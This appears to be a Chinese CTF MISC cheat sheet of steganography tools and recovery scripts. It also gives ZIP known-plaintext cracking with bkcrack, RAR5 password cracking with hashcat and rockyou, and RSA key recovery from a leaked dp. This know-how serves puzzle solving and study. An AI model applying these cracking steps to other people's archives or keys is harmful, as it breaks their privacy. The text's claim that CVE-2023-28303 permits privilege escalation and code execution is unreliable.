MISC可以尝试的思路
ChatGPT
遇到从没见过的可以问问它，虽然不一定给出答案但是可能会有思路
图片
Stegslove
图片处理，查看图片信息、十六进制，lsb隐写信息提取，gif图片每帧提取
010editor
查看图片的十六进制，不同文件有各自的模板
图片分离
binwalk 文件名
binwalk 文件名 -e
sudo binwalk -e --run-as=root 文件名
foremost 文件名
foremost 文件名 -o 输出的文件夹名称
dd if=待处理文件 of=输出文件 skip=开始的块 bs=字节大小 count =次数
QR_research
二维码识别工具
png宽高修改
在我做过的题目里面，被修改宽和高的基本都是png图片，可以利用脚本进行查看宽高是否被修改以及恢复
这个链接有详细讲解CRC爆破png图片宽度和高度原理以及python代码_根据crc得出正确高度-CSDN博客
还有一种就是爆破得到原图，例如修改过后的图片长这样：
运行脚本：
import struct
# 输入和输出文件名
input_file = '2222.png'
def change(new_width,new_height):
# 打开输入文件并读取二进制数据
with open(input_file, 'rb') as file:
png_data = file.read()
output_file = f"output/{new_width}_{new_height}.png"
# 找到宽度和高度所在的位置（通常在第16到20字节和20到24字节）
width_start = 16
height_start = 20
# 使用struct模块将新的宽度和高度转换为4字节的大端整数
new_width_bytes = struct.pack('>I', new_width)
new_height_bytes = struct.pack('>I', new_height)
# 替换PNG文件中的宽度和高度数据
png_data = png_data[:width_start] + new_width_bytes + png_data[width_start+4:height_start] + new_height_bytes + png_data[height_start+4:]
# 将修改后的数据写入新文件
with open(output_file, 'wb') as file:
file.write(png_data)
print(f'已保存为{output_file}')
new_height = 720
for new_width in range(0,2000):
change(new_width,new_height)
运行之前先创建一个output文件夹，可以在一堆结果中得到原图：
LSB隐写
可以打开stegslove查看，出题目基本是在0通道隐写，可以观察是否有明显的隐写，若是看不出来也可以用zsteg命令查看，它会自动识别，但是需要去stegslove另存文件，因为zsteg并不会显示全部的
zsteg -v png图片
若显示stack level too deep (SystemStackError)报错，可以将命令改成
zsteg --msb 文件名
或
zsteg -o xY 文件名
改变扫描顺序。 -o 是设置行列的读取顺序 --msb：most significant BIT comes first，最高有效位排在第一位
LSB隐写(最低有效位隐写)-CSDN博客](https://blog.csdn.net/qq1437715969/article/details/103617581)
图片属性
有时候也会将信息隐藏在图片的属性当中，右击文件点击属性后再点击详细信息便可查看。若文件过多可以使用exiftool命令一键查看
exiftool 文件名
Pngcheck
一般用来检查png图片是否出错，查看IDAT块，若是前一个块已经满了但是后面还有就需要注意
pngcheck -v 图片名称
发现报错之后注意chunk块，可以在010editor种找一下有没有其他的IHDR，若是有看看是不是删去了png头来防止binwalk分离出文件，若是和话那就在原文件的IHDR前面补上png文件头再进行文件分离
F5-steganography
用于图片隐写，一般是jpeg/jpg图片，使用以下命令
java Extract .\待解压的图片名.jpg
matthewgao/F5-steganography: F5 steganography
Gnuplot
这个可以根据给出的坐标进行画图，进入gnuplot.exe文件后输入以下命令，此文件在同一路径下
plot "文件名"
Montage
将被分块之后的各个图片碎片进行拼图成一张，在恢复原图时通常和Gaps（下一个介绍）一起使用
montage *jpg -tile 10x12 -geometry +0+0 flag.jpg
上述命令将文件夹内后缀为jpg的图片拼成了一张并输出flag.jpg
GAPS
这个与上个一起使用便可以得到恢复后的图片
gaps run flag.jpg tureflag.jpg --generations=40 --population=120 --size=200
第一个jpg是输入，第二个是输出
--generation是遗传算法的代的数量，最好等于原始图片的数量
--population是个体数量
--size是拼图块的像素尺寸，看文件属性宽度
nemanja-m/gaps: A Genetic Algorithm-Based Solver for Jigsaw Puzzles 🌀
RGB数据
若是见了范围在（0，0，0）和（255，255，255）的数据，猜测是RGB数据，可以使用脚本恢复图片
以下是在网上找到的大佬的脚本
from PIL import Image
# 读取qr.txt中的RGB数据
with open('output.txt', 'r') as file:
data = file.readlines()
# 假设每一行是一个像素，并且行数与列数一致（即图像是一个正方形）
# 计算图像的尺寸
image_size = int(len(data) ** 0.5)
# 创建一个新的图像
image = Image.new('RGB', (image_size, image_size))
# 填充图像的每个像素
for i, line in enumerate(data):
# 将RGB数据解析为整数元组
rgb = tuple(map(int, line.strip().strip('()').split(',')))
# 计算像素在图像中的位置
x = i % image_size
y = i // image_size
# 将RGB值设置到图像的相应位置
image.putpixel((x, y), rgb)
# 保存生成的图像
image.save('output.png')
print('Image saved as output.png')
BPG图片
这种图片文件一般查看不了，用010editor打开后文件头是BPG开头的，后缀也是bpg，可以使用HonestyViewer打开
apng
类似与gif格式，需要逐帧查看
Tweakpng
用这个打开png，要是图片有问题会报提示
颜色隐写
也是RGB数据，看到近似颜色可以使用PS打开取色器获取颜色的十六进制数据
Outguess
图片解密工具，要是在题目中遇到了key或者找到了密钥还有图片，可以猜一下是这个加密
outguess -k 'abc' -r mmm.jpg flag.txt
其中abc是密钥，mmm.jpg是被加密的图片，flag.txt是输出文件
隐写工具outguess安装使用教程_outguess使用-CSDN博客
汉信码
Aztec码
猫映射，Arnold变换
一种图片的混沌算法，经过猫映射之后的图片看起来都非常无序
https://en.wikipedia.org/wiki/Arnold's_cat_map
在线网站：https://www.jasondavies.com/catmap/
下面是别人大佬的脚本，st是变换次数，st、a和b的值需要根据不同的图片进行修改，正确的值才能恢复原图
from PIL import Image
img = Image.open('mijiha.png')
if img.mode == "P":
img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size
st = 1
a = 35
b = 7
for _ in range(st):
with Image.new(img.mode, dim) as canvas:
for nx in range(img.size[0]):
for ny in range(img.size[0]):
y = (ny - nx * a) % width
x = (nx - y * b) % height
canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('result.png')
mijiha.png是待恢复的图片，result.png是原始图片
当不知道变换次数还有a和b的时候就只能爆破了
后面又遇到了一次，不同的脚本，问了AI说这个更加完整一些，不需要自己输入参数
import cv2
import numpy as np
def scramble_image(img_array, rounds, param_x, param_y):
"""
执行 Arnold 加密
:param img_array: 输入图像（NumPy数组）
:param rounds: 执行的轮数
:param param_x: 参数a
:param param_y: 参数b
:return: 加密后的图像数组
"""
h, w = img_array.shape[:2]
size = h
transformed = np.zeros_like(img_array)
for _ in range(rounds):
for i in range(size):
for j in range(size):
target_i = (i + param_y * j) % size
target_j = (param_x * i + (param_x * param_y + 1) * j) % size
transformed[target_i, target_j] = img_array[i, j]
img_array = transformed.copy()
return img_array
def restore_image(scrambled_array, rounds, param_x, param_y):
"""
执行 Arnold 解密（逆向）
:param scrambled_array: 加密后的图像数组
:param rounds: 解密轮数（应与加密一致）
:param param_x: 参数a
:param param_y: 参数b
:return: 解密后的图像数组
"""
dim = scrambled_array.shape[0]
restored = np.zeros_like(scrambled_array)
for _ in range(rounds):
for x in range(dim):
for y in range(dim):
orig_x = ((param_x * param_y + 1) * x - param_y * y) % dim
orig_y = (-param_x * x + y) % dim
restored[orig_x, orig_y] = scrambled_array[x, y]
scrambled_array = restored.copy()
return scrambled_array
def load_and_process(image_path, iterations=1, a=1, b=-2):
"""
加载图像并执行加密和解密
:param image_path: 输入图片路径
:param iterations: 加密/解密轮数
:param a: 参数a
:param b: 参数b
"""
original = cv2.imread(image_path)
if original is None:
raise FileNotFoundError(f"图像未找到: {image_path}")
print(f"图像尺寸: {original.shape[1]}x{original.shape[0]}")
encrypted = scramble_image(original, iterations, a, b)
cv2.imwrite("encrypted.png", encrypted, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
print("加密图像已保存为 encrypted.png")
decrypted = restore_image(encrypted, iterations, a, b)
cv2.imwrite("decrypted.png", decrypted, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
print("解密图像已保存为 decrypted.png")
if __name__ == "__main__":
load_and_process("0001_39.png", iterations=1, a=1, b=-2)
Tupper（塔珀自指公式）
这个就是用公式运行出来的图片就是公式本身，下面是在网上找的大佬的脚本，这里面一共三个算法，第二个是什么吃豆人，第三个是欧拉算法
Tupper主要是需要知道k的值
########################################################################
#
#
# Tupper’s Self-Referential Formula
# Tupper.py
#
# MAIN
#
# Copyright (C) 2015 Ulrik Hoerlyk Hjort
#
# Tupper’s Self-Referential Formula is free software; you can redistribute it
# and/or modify it under terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2,
# or (at your option) any later version.
# Tupper’s Self-Referential Formula is distributed in the hope that it will be
# useful, but WITHOUT ANY WARRANTY; without even the implied warranty
# of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU General Public License for more details.
# You should have received a copy of the GNU General
# Public License distributed with Yolk. If not, write to the Free
# Software Foundation, 51 Franklin Street, Fifth Floor, Boston,
# MA 02110 - 1301, USA.
########################################################################
from PIL import Image
# Tupper
k1=9489414856877039590479997730148554425666925984049232945604842888420596111937489062065081199094002132087091572191187170308560128611026043144427876131133135794969867759108490917632153891963456295991713868378392769549376070709924497237322046334486274987407067993824142187115870972520417207510521083293280152434558803258138899515603807505064799735152359900010019631133734298562293682916239050320580346316026460860919542540955914826806059123630945216006606268974979135253968165822806241305783300650874506602000048154282039485531804337171305656252
# Pacman
# k2=144520248970897582847942537337194567481277782215150702479718813968549088735682987348888251320905766438178883231976923440016667764749242125128995265907053708020473915320841631792025549005418004768657201699730466383394901601374319715520996181145249781945019068359500510657804325640801197867556863142280259694206254096081665642417367403946384170774537427319606443899923010379398938675025786929455234476319291860957618345432248004921728033349419816206749854472038193939738513848960476759782673313437697051994580681869819330446336774047268864
# Euler
# k3=2352035939949658122140829649197960929306974813625028263292934781954073595495544614140648457342461564887325223455620804204796011434955111022376601635853210476633318991990462192687999109308209472315419713652238185967518731354596984676698288025582563654632501009155760415054499960
# Assign k1,k2, k3 to k to get desired image
k = k1
width = 106
height = 17
scale = 5
fname = "foo"
image = Image.new("RGB", (width, height),(255, 255, 255))
for x in range (width):
for y in range (height):
if ((k+y)//17//2**(17*int(x)+int(y)%17))%2 > 0.5:
# Image need to be flipped vertically - therefore y = height-y-1
image.putpixel((x, height-y-1), (0,0,0))
#scale up image
image = image.resize((width*scale,height*scale))
image.save(fname+".png")
peano曲线
一种图片加密算法，利用脚本恢复原图
图片特征：
大佬的脚本：
from PIL import Image
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open(r"1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")
盲水印
盲水印隐写是一种信息隐藏技术，主要用于在数字媒体（如图像、音频、视频）中嵌入不可见的水印信息
fire-keeper/BlindWatermark: 使用盲水印保护创作者的知识产权using invisible watermark to protect creator's intellectual propertyhttps://github.com/fire-keeper/BlindWatermark)
上面是第一种有两张图片的，还有一种就是只有一张图片但是也可以提取水印的，下面是例题，里面有工具链接
https://blog.csdn.net/Aluxian_/article/details/130800499
lsb隐写
这个需要密码解密，用工具cloacked-pixel
livz/cloacked-pixel: LSB steganography and detection
python2 lsb.py extract 待解密的图片 输出的txt文件名称 密码
free_file_Camouflage
这是个把图片转成文本的工具，需要特定工具和密码解密，下面是在网上找的操作步骤
2是要解密的图片，3是密码
identity
此命令可以获取一个或者多个图象的格式和特性，格式：
identify -format "%T \n" filename
图片隐写添加文字
可以作为一种思路尝试，使用在线网站解密
https://www.toolscat.com/img/image-mask
图片压缩
当一张图片很大时，可以尝试用脚本转换一下得到分辨率小一些的，可能会有隐写信息
from PIL import Image
img = Image.open('enc.png')
w = img.width
h = img.height
img_ob = Image.new("RGB",(w//16,h//16))
for x in range(w//16):
for y in range(h//16):
(r,g,b)=img.getpixel((x*16,y*16))
img_ob.putpixel((x,y),(r,g,b))
img_ob.save('1.png')
- 读取图片：
Image.open('enc.png')打开一张名为enc.png的图片。 - 获取图片尺寸：
w = img.width和h = img.height分别获取图片的宽和高。 - 创建新图片：
Image.new("RGB",(w//16,h//16))创建一个新的 RGB 格式图片，其尺寸为原图的 1/16。 - 采样像素并缩小图片：
使用两个嵌套循环，按照 16×16 的步长，获取原图每个块的左上角像素颜色，并将该颜色赋给新图的对应像素位置。 - 保存结果图片：
将生成的新图片保存为1.png。
像素处理
当得到很多图片文件时可以尝试找细微的不同和细节，提取RGB数据，用得到的RGB遍历所有图片，用像素画出信息
from PIL import Image
# 创建一个新的 400x400 的黑白图像（模式 '1'）
flag_img = Image.new('1', (400, 400))
# 遍历文件夹中的图像，文件名从 000.png 到 381.png
for name in range(0, 382):
image = Image.open(f'{str(name).zfill(3)}.png') # 使用 zfill 来确保数字格式为三位数，例如 "000.png"
from PIL import Image
# 创建一个新的 400x400 的黑白图像（模式 '1'）
flag_img = Image.new('1', (400, 400))
# 遍历文件夹中的图像，文件名从 000.png 到 381.png
for name in range(0, 382):
image = Image.open(f'{str(name).zfill(3)}.png') # 使用 zfill 来确保数字格式为三位数，例如 "000.png"
# 将图像转换为 RGB 模式
image = image.convert("RGB")
# 获取图像的宽度和高度
width, height = image.size
# 遍历图像的每个像素
for w in range(width):
for h in range(height):
# 如果当前像素是指定的灰色 (233, 233, 233)，将其设置为白色（1）
if image.getpixel((w, h)) == (233, 233, 233):
flag_img.putpixel((h, w), 1) # 设置 flag_img 中相同位置的像素为白色，这里如果是用w，h的话是反着的
# 将处理后的图像保存为 PNG 格式，文件名格式为 "name.png"
flag_img.save(f'.{str(name)}.png')
截图恢复
CVE-2023-28303 是一个与截图处理相关的安全漏洞，主要影响 Windows 和其他操作系统的截图工具。该漏洞允许攻击者恢复已裁剪图像中的敏感信息，从而可能导致信息泄露、权限提升或远程代码执行等安全风险
漏洞详情
该漏洞的产生是因为在使用 Windows 自带的截图工具对截图进行裁剪时，文件大小和数据不会被正确消除。具体来说，裁剪后的 PNG 或 JPEG 图像的某些部分在再次保存后不会从文件中正确删除。这些残留的数据可能包含敏感信息，如银行账户详细信息或医疗记录
漏洞影响
- 信息泄露：攻击者可以利用该漏洞获取敏感的屏幕内容或信息
- 权限提升：在某些情况下，截图功能的漏洞可能允许攻击者以更高权限执行操作
- 远程代码执行：在恶意代码与截图处理结合的情况下，可能引发远程代码执行风险
就是相当于你在截图的时候只是截到了整个屏幕的一部分，但是这个可以恢复出一整个电脑屏幕，这样就有出题方向了，出题人只截一小部分，真的信息在截图之外的地方
frankthetank-music/Acropalypse-Multi-Tool：使用简单的 Python GUI 轻松检测和恢复易受鹿角攻击的 PNG 和 GIF 文件。
jpg宽高
jpg文件的宽高所在位置是FFC0 标志位后，第四五字节是高，第六七字节是宽
当图片的宽高被改写时图片看起来就是横向错位的，或者有一些就是和平常图片一样
这个没有找到什么能检测出原图的宽高是多少的，所以可以用作尝试将宽高两者当中较小的部分改成另外一个一样的
图片添加文字
这个是用在线网站进行解密：
https://www.toolscat.com/img/image-mask
Steghide
在音频和图像文件中嵌入秘密信息，包括 JPEG、BMP、WAV 和 AU 文件
steghide extract -sf 文件名
草料二维码
解密卡？
查理九世解密卡同理
【在线PS】PS软件网页版，ps在线图片处理工具photopea-稿定设计PS
ps打开，矩形工具->ctrl+j->图层选择差值->把矩形拖到要看的地方
图片隐写网站
用作尝试
Gabrielle Singh Cadieux - Piet IDE
LoveLy-QRCode-Scanner-main
对二维码进行爆破解码的脚本，主要用来解码看不清或者微信无法正常扫描的AI生成的二维码
各种文件
加密
暴力破解
一般用于压缩包带有密码，使用工具Advanced Archive Password Recovery或者ziprerllo
伪加密
文件用010editor打开
zip找50 4b 01 02字节，从50数起，第九位要是00就是没有加密，反之就是加密，可以改00破加密（有时候也不一定成功，但是可以试一试）
rar从头数，在第24位尾数要是是4表示加密，0为无加密
CRC爆破
之前遇到有个题目一个文件夹里面就是1byte的文件，是破解CRC值
这篇文章给出了1、2、3、4byte文件的CRC破解浅谈使用Python脚本爆破CRC32_crc32.py-CSDN博客
双文件明文攻击
ZIP已知明文攻击，已经知道被加密文件中的一部分并且已知文件的CRC值和加密文件夹中的文件CRC值相同
若给出的文件不是zip，在将文件压缩成压缩包后要检查CRC值是否相同
注意：要是破解了很久尝试直接停止保存压缩包看是否破解成功
可以实用工具ARC进行破解
伪不加密
在zip文件的加密标识位上面，若是被加密了则是0900，没有加密就是0000
zip 伪加密学习，压缩包十六进制数据含义分析_zip伪加密-CSDN博客
若是文件已经被明确告诉是被加密过的，则需要将加密标识位改成0900，这就是伪不加密
单个文件明文攻击
当看到压缩包的加密算法是zipcrypto store时就可以用此方法
只需要知道加密压缩包内容的12个字节，就可以对该压缩包进行明文攻击破解
ZipCrypto与Store模式的特点
- ZipCrypto加密机制：
- 使用流密码（基于伪随机数生成器，PRNG）生成密钥流，与明文逐字节异或（XOR）得到密文。
- 密钥由用户密码通过特定算法生成，包含3个32位整数（
key0,key1,key2）。
- Store模式：
- 不压缩文件，直接存储原始数据。明文结构未被破坏，便于攻击者推测固定格式的已知部分（如文件头）。
漏洞：
- 密钥调度可逆：已知部分明文-密文对时，可逆向推导出内部状态（
key0,key1,key2）。 - 密钥流复用：同一密码下，所有文件的密钥流基于相同初始密钥生成。若攻击者已知某一文件的明文，可破解其他文件。
bkcrack的攻击原理
步骤1：收集已知明文
- 攻击者需知晓加密文件中至少12字节连续明文（如文件头、固定格式数据）。
- 例如：PNG文件头为
89 50 4E 47 0D 0A 1A 0A，DOCX文件的PK\x03\x04等。
- 例如：PNG文件头为
- Store模式未压缩，明文与文件原始内容一致，更易定位已知部分。
步骤2：推导密钥流
-
已知明文（Plaintext, P）与对应密文（Ciphertext, C），通过异或操作得到密钥流（Keystream, K）：
K=P⊕CK=P⊕C
-
密钥流是ZipCrypto的PRNG输出，其生成依赖初始密钥（
key0,key1,key2）。
步骤3：逆向初始密钥
-
通过已知的密钥流片段，逆向计算初始密钥：
- ZipCrypto的PRNG基于线性反馈移位寄存器（LFSR）和状态更新函数。
- 使用数学方法（如递推、矩阵运算）从密钥流中推导出
key0,key1,key2。
-
核心公式（以第
n个密钥流字节为例）：keystream[n]=(key2≫24)⊕(key1≫16)⊕(key0≫8)keystream[n]=(key2≫24)⊕(key1≫16)⊕(key0≫8)
结合已知的
keystream，可构建方程组求解密钥。
步骤4：破解密码或解密文件
- 方法1：直接解密：
- 使用恢复的初始密钥生成完整密钥流，异或解密整个文件。
- 方法2：恢复用户密码：
- 通过初始密钥逆向推导用户密码（需遍历可能的密码组合）。
比如知道压缩包里面被加密的是一个png文件，那么就可以直接将png文件头的内容写入一个文件然后用bkcrack进行破解
命令：
bkcrack -C flag.zip -c flag.vmdk -x 0 4B444D5601000000030000
-C flag.zip：指定目标 ZIP 文件，即 flag.zip。
-c flag.vmdk：指定 ZIP 内的加密文件 flag.vmdk（即需要解密的文件）
-x 0 4B444D5601000000030000：
0：表示已知明文的偏移量（在flag.vmdk内部）4B444D5601000000030000：已知的明文字节数据
当破解出来三个密钥时，把png文件提取出来：
bkcrack -C flag.zip -c flag.vmdk -k 92802c24 9955f8d6 65c652b8 -d 1.vmdk
-k：输入三段密钥
-d：输出
这个也是明文攻击，说明了不只是只有两个文件才能进行明文攻击
虽然说的是十二个字节，但是有时候少于十二个或者是多与十二个也没什么事，主要是不能和被加密的文件不一样
参考：[Bugku CTF：请攻击这个压缩包WriteUP]_zip明文攻击-CSDN博客
png文件：89504E470D0A1A0A0000000D49484452
vmdk文件：4B444D5601000000030000
dp泄露
先用openssl查看n和dp
openssl rsa -in private_key.pem -text
得到n和dp之后用脚本求q和p
from sympy import mod_inverse, gcd
from math import isqrt
def recover_p_and_q(n, e, dp):
# dp = d mod (p-1)
# 因为 dp * e ≡ 1 (mod p-1)，所以可以得到 p-1
for k in range(1, e): # 尝试所有可能的 k
# 计算 p-1
if (e * dp - 1) % k == 0:
p_minus_1 = (e * dp - 1) // k
if p_minus_1 % 2 == 0: # p-1 必须是偶数
p = p_minus_1 + 1
# 检查 p 是否是 n 的因子
if n % p == 0:
q = n // p
return p, q
return None, None
# 示例输入
n = 0x00b3ee84a7c49ab1b86f206eb6891800aa9a42ec4eb1b4cdde74f767eb9e07d0820972bdd3b22b3c38ee497049521e12640a44f5c6d4601e6d735723c8a736533d9637bcc80dfb14ee0f09fbae83eb309f68621504f18b779411a8b4ec9987bfdf4aafe177d2004ea98ede04e007340514f28af8d2c786275860491b83b323d9309a48e64e66d91aecbb0f7e39ebd9ba3f87732f240c7ce911033b6157bc902163d03f56205ab6ad2918a0ff2e2a0793069f8dddabc500374a39eeafc2f139678cf673599194780c7fe49311cb2b1b2545e3c690e1db2e0c083bd6dda65848d64cbb810a424379a88bbe153ddf3c8e79e0c807ed1aa9b6874330da3559830cfa45 # 替换为实际模数
e = 65537 # 公钥指数，通常是 65537
dp = 0x0097241a2cd4a3a6a62457ed7a08bdae4285aa8aa5c82f7413a0d8643297cb44ade7e625d29cde1a6a2d9d0c2ab67e1a816470ad4708b792f973387cfb905e473dbb2e4b70da2a4e7462f4531bc1cba0bcfb04b60e49b5eb05c34d8e9148ac12e9a9ce34d7c7af73e9c6be76942de1f035734f6b586508d157809e3e9deddffca7 # 替换为实际泄露的 dp
# 恢复 p 和 q
p, q = recover_p_and_q(n, e, dp)
if p and q:
print(f"Recovered p: {p}")
print(f"Recovered q: {q}")
else:
print("Failed to recover p and q.")
把p、q放到rsatool生成der证书，用openssl转成pem
python rsatool.py -f DER -o key.der -p 167491603290232240165109588122788533113389414892381818156844128040193230978258977820405344205575296236371810427163650149605152056848232885222313353175604339541646561904247957829866027314556374355724182064112393004948463738291920723783245808179255742950559196088831263741806293908034669816429240284314008447447 -q 135614405996392828283288405736816325971158828195581321137267815028274015935746901788826424186827187305964377540945597767870885565726850264456049944775721936464833029271446916299066431842045054106684672619067404844022080815572204158632860297345943545872303196205961279815313762145298097712015966260328367919427
-f DER
- 指定输出文件的格式为 DER。
- DER（Distinguished Encoding Rules）是一种二进制编码格式，用于表示 ASN.1 数据结构，适合机器读取。
- DER 格式通常用于生成低级 RSA 密钥，之后可以用 OpenSSL 转换成人类可读的 PEM 格式。
-o key.der
- 指定输出文件名为
key.der。 - 生成的 RSA 私钥将以 DER 格式写入
key.der文件。
openssl rsa -inform DER -outform PEM -in key.der -out mykey.pem
openssl rsa
- 使用 OpenSSL 提供的
rsa工具来处理 RSA 密钥。 - 该工具支持查看、转换、验证和管理 RSA 私钥文件。
-inform DER
- 指定输入文件的格式为 DER（Distinguished Encoding Rules）。
- DER 是一种二进制编码格式，适合计算机处理，但不适合人类直接阅读。
-outform PEM
- 指定输出文件的格式为 PEM（Privacy-Enhanced Mail）。
- PEM 是一种以 Base64 编码的格式，带有分隔符，适合人类阅读并被广泛支持。
-in key.der
- 指定输入文件为
key.der，这是之前通过rsatool生成的 RSA 私钥文件，格式为 DER。
-out mykey.pem
- 指定输出文件为
mykey.pem，转换后的 RSA 私钥将以 PEM 格式存储在这个文件中。
生成的mykey.pem就是正确的密钥
各种文件类型
.vmdk文件
一个虚拟机文件，可以用7zip打开
ELF文件
可以在虚拟机运行
./文件名称 ->执行文件
.bin文件
二进制文件，例如虚拟光驱文件、路由器配置文件等等
可以用RouterPassView打开查看
Word文档
word文档本身是一个zip文件，可以修改后缀名，再去压缩包里面找隐藏信息，比如图片信息
全选清除格式
有加密的去除加密之后再改zip
INF文件
inf 文件是 Windows 系统中非常重要的配置文件，主要用于驱动程序安装和设备配置。它们以结构化的方式包含了安装过程的所有指令，使得操作系统能够正确安装和配置硬件设备
Mp4文件格式
发现有除下面这几个外的重点留意
.sh和.bat文件
两者都属于shell脚本，用于在计算机上使用命令
二者的区别源于使用对象不同，bat主要是运行在Windows 的shell脚本完成一系列的项目文件集合启动，集成多项依赖加载执行；sh 脚本是运行在Unix系统的shell脚本，方便部署应用
rar压缩包
如果是r5格式那arc不能用，去kali用rar2john看hash值，再用hashcat破解密码
rar2john 压缩包名称>hash.txt
hashcat -m 13000 -a 0 hash.txt wordlist.txt
kali虚拟机文件目录/usr/share/wordlists/rockyou.txt.gz下有字典rockyou.txt，可以解压使用
-m 13000：指定 RAR5 文件的加密算法。
-a 0：表示使用字典攻击模式。
hash.txt：存储从 RAR 文件提取的哈希值。
wordlist.txt：密码字典文件。
hashcat详细使用教程_hashcat怎么用-CSDN博客
Lyra文件
PS文件
可以用ps打开查看是否能看到信息，或者是直接用记事本打开查看是否有有用信息
PCM文件
采样率 16k ，文件后缀名是.pcm，可以用在线网站打开音频
exe文件
-
若是GameMarker8编译的游戏，可以使用GM8Decompiler反编译工具进行反编译，得到的gmk文件可以用GameMaker Studio 8打开
-
或者是给出了exe文件，可以尝试IDA去搜索flag看看
MD5文件格式
得到一串字符串，例如：67f480eff11781617044bd47fb9535cfb0e4b6a09e51daff2107c536e9d4eebb3d517cfea6e3f176d4e0d37a9f3658845f3d1917cfce30a4f44ffa2e0af58485
可以猜测是md5文件格式，在txt文本中写入然后保存
若是明文攻击再进行压缩
Excel
点单元格，发现是否有隐藏信息，选中，单元格格式改为自定义第一个显示隐藏信息
axf文件
一种二进制文件格式，主要由 ARM 工具链（如 Keil MDK-ARM 或 ARM Compiler）生成，通常用于嵌入式系统开发中的可执行文件。虽然它的后缀是 .axf，但实际上它通常是标准的 ELF (Executable and Linkable Format) 文件
种子文件
后缀为torrent的文件，先通过http或者其他协议进行下载，下载的文件后缀为torrent，将文件拖入文件下载器就可以自动识别真正的文件，这个可以进行恶意软件的下载
一文读懂Bt种子、磁力链接、直链、p2p这些下载的区别_bt链接-CSDN博客
比特币地址
⽐特币地址是⼀个标识符（帐号），包含27-34个字母数字拉丁字符（0，O，I除外）。地址可以以QR码形式表⽰，是匿名的，不包含关于所有者的信息
地址⽰例：14qViLJfdGaP4EeHnDyJbEGQysnCpwn1gd
⼤多数⽐特币地址是34个字符。它们由随机数字和⼤写字母及⼩写字母组成，除了⼤写字母“O”，⼤写字母“I”，⼩写字母“l”。数字“0”不⽤于防⽌视觉模糊。某些⽐特币地址可能少于34个字符（少⾄26个）并且仍然有效。相当⼀部分的⽐特币地址只有33个字符，有些地址甚⾄可能更短。每个⽐特币地址代表⼀个数字。这些较短的地址是有效的，因为它们代表偶然发⽣以零开始的数字，并且当零被省略时，编码地址变短。 ⽐特币地址中的⼏个字符被⽤作校验和，以便可以⾃动发现和拒绝印刷错误。校验和还允许⽐特币软件确认33个字符（或更短）的地址实际上是有效的，⽽不仅仅是⼀个缺少字符的地址那么简单
如何获得比特币地址？
⽐特币的任何⽤户都可以免费获得地址。例如，使⽤Bitcoin Core(⽐特币核⼼客户端)时可以点击“新地址”并被⾃动分配⼀个地址。或者可以使⽤交易所或在软硬件钱包的账户里获得⽐特币地址
什么是比特币地址&三种地址格式对比 | CoinWallet讲堂 - 知乎
在内存取证题目当中，可以尝试用关键词比如“ransomware”进行strings字符串提取得到有用信息
或者是将其可疑进程转换成可执行文件，使用命令
procdump -p 3720 -D ./
得到的文件拿去IDA进行分析得到有用信息
$ucyLocker
一种勒索软件，它是一种通过加密用户文件来进行恶意攻击的软件，攻击者通常会要求受害者支付赎金以获取解密密钥。这类勒索软件的行为与其他典型的勒索软件家族类似，但具体到 $ucyLocker，它有一些独特的特点和操作方式
他是勒索软件HiddenTear的变种
勒索软件HiddenTear
-
原始版本：
- 作为一个安全教育项目，HiddenTear 的原始代码相对简单，并且并非专注于隐藏自身。
- 它的加密机制中存在一些漏洞（例如，使用硬编码密钥、未正确实现 AES 加密），使得部分加密文件可以通过工具恢复。
-
恶意变种：
- HiddenTear 被恶意行为者修改并发布成多个版本，包括：
- EDA2：另一个由 Utku Sen 发布的开源勒索软件项目，也被滥用。
- Shinigami Locker：一种基于 HiddenTear 的变种，使用复杂的传播技术。
- Dharma 和其他更复杂的勒索软件家族也受到 HiddenTear 的启发。
- HiddenTear 被恶意行为者修改并发布成多个版本，包括：
-
带来的问题：
- 由于 HiddenTear 的代码广泛传播，成为许多新手黑客入门勒索软件开发的工具。
- GitHub 上也出现了众多基于 HiddenTear 改编的恶意项目。
对于其软件或者是变种加密过的文件可以使用工具HiddenTearDecrypter进行解密
过程：将被加密的文件后缀改为.locked，打开解密软件，选择被加密的文件，输入密码进行解密
视频文件
先完整观看一遍看是否在某一帧有特殊信息，若是闪的很快需要提取帧可以用工具Kinovea，或者是pr进行每一帧的查看
gp文件
GP 文件通常指的是 Guitar Pro 文件，扩展名为“.gp”。Guitar Pro 是一款允许音乐家创建、编辑和演奏吉他谱和乐谱的软件应用程序。该文件格式包含乐谱、图表以及与音乐作品相关的其他信息
可以使用工具Guitar Pro 8打开查看
mscz文件
可以用MuseScore打开，是一张乐谱
grc文件
可以用gnuradio-companiond打开，直接在kali输入gnuradio-companion
pt文件
.pt 文件是 PyTorch 中模型保存的文件格式，用于保存整个模型（包括结构和参数），或仅保存模型的参数（state_dict）。
它可以用于保存训练后的模型，并在不同的环境中加载进行推理，尤其是在没有 Python 环境的情况下，TorchScript 格式的 .pt 文件可以提供更广泛的部署选项。
对于部署到生产环境的场景，torch.jit 可以帮助将模型转换为 TorchScript 格式，生成的 .pt 文件更适合于高效部署。
加载pt文件：
